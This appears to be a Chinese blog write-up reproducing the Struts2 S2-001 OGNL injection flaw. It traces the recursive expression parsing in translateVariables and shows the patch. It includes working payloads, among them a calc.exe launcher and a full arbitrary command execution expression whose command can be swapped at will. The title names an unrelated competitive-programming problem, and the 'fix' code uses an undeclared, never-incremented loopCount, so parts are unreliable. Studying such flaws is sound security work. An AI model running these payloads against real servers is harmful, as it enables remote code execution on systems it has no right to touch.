洛谷 P3137 [USACO16FEB]Circular Barn S
前言
最近在學習滲透測試的時候,看到大佬分析了Struts2的漏洞,為了更好的理解漏洞原理,對Struts2漏洞做一次復現。
漏洞資訊
Struts2 是流行和成熟的基於 MVC 設計模式的 Web 應用程式框架。 Struts2 不只是 Struts1 下一個版本,它是一個完全重寫的 Struts 架構。Struts2 的標籤中使用的是OGNL表示式,OGNL 是 Object Graphic Navigation Language(物件圖導航語言)的縮寫,它是一種功能強大的表示式語言,使用它可以存取物件的任意屬性,呼叫物件的方法,使用 OGNL 表示式的主要作用是簡化訪問物件中的屬性值,但Struts2漏洞就源於OGNL。漏洞資訊可見https://cwiki.apache.org/confluence/display/WW/S2-001
搭建環境
需要的列表:
- jdk1.8
- Tomcat
- Struts2
- IDEA
jdk1.8、Tomcat和IDEA的安裝網上都有,按照步驟進行配置,比較難的可能是IDEA配置Tomcat的時候,可以參考IDEA的下載安裝及配置Tomcat。在vulhub下載Struts2包,匯入即可。
漏洞利用
- 簡單的poc:
%{1+1}
- 彈出計算器
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
- 任意命令執行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
- 其中"pwd"可以換成對應的命令,即可執行。
漏洞分析
當一個 HTTP 請求被 Struts2 處理時,會經過一系列的 攔截器 (Interceptor) ,這些攔截器可以是 Struts2 自帶的,也可以是使用者自定義的。例如下圖 struts.xml 中的 package 繼承自 struts-default ,而 struts-default 就使用了 Struts2 自帶的攔截器。
在攔截器棧 defaultStack 中,我們需要關注 params 這個攔截器。
跟進到 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
setParameters->stack.setValue->invocation.invoke
可以看到,params 攔截器會將客戶端請求資料設定到值棧 (valueStack) 中,後續 JSP 頁面中所有的動態資料都將從值棧中取出。
繼續跟進,到達/com/opensymphony/xwork2/DefaultActionInvocation.class
跟進executeResult()
,到達 /com/opensymphony/xwork2/DefaultActionInvocation.class
跟進result.execute(this)
,到達/org/apache/struts2/dispatcher/StrutsResultSupport.class
跟進doExecute()
到達/org/apache/struts2/dispatcher/ServletDispatcherResult.class
執行dispatcher.forward(request, response);
後轉到jsp,並交給jsp解析處理。進入/org/apache/struts2/views/jsp/ComponentTagSupport.class
解析strutes2中自定義的標籤。
在/org/apache/struts2/views/jsp/ComponentTagSupport.class
中使用doEndTag()
和doStartTag()
在jsp中自定義需要用到的新標籤,跟進this.component.end();
到達/org/apache/struts2/components/UIBean.class
這裡evaluateParams
主要初始化全域性變數。跟入evaluateParams
,在303左右,expr = "%{" + name + "}"
表示expr拼接為一個%{name}
跟入addParameter("nameValue", findValue(expr, valueClazz));
中的findValue
,來到 /org/apache/struts2/components/Component.class
跟入TextParseUtil.translateVariables
,進入/com/opensymphony/xwork2/util/TextParseUtil.class
:
public static String translateVariables(char open, String expression, ValueStack stack) {
return translateVariables(open, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
}
繼續跟入translateVariables
,主要問題就在translateVariables
這個函式裡,原始碼如下:
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
此時expression
為%{password}
第一次執行的時候 會取出%{username}
的值,即%{1+1}
通過if ((start != -1) && (end != -1) && (count == 0))
的判斷,跳過return
,到達:
通過Object o = stack.findValue(var, asType);
把值賦給 o,此後 o 為%{1+1}
,再對o進行了一番處理後,payload 經過 result 變數,最終成為expression的值:
在完成後,進入下一個迴圈,第二次迴圈在Object o = stack.findValue(var, asType);
中會執行我們構造的OGNL表示式,即對payload的執行。
究其原因,漏洞的成因在於 translateVariables ,translateVariables 遞迴解析了表示式,在處理完%{password}
後將password
的值直接取出並繼續在while迴圈中解析,若使用者輸入的password是惡意的OGNL表示式,比如%{1+1}
,則得以解析執行。
漏洞修復
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
這裡增加了對OGNL遞迴解析次數的判斷,當解析完一層表示式後,如圖,此時loopCount > maxLoopCount
,從而執行break
,不再繼續解析%{1+1}
,預設情況下只會解析第一層:
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}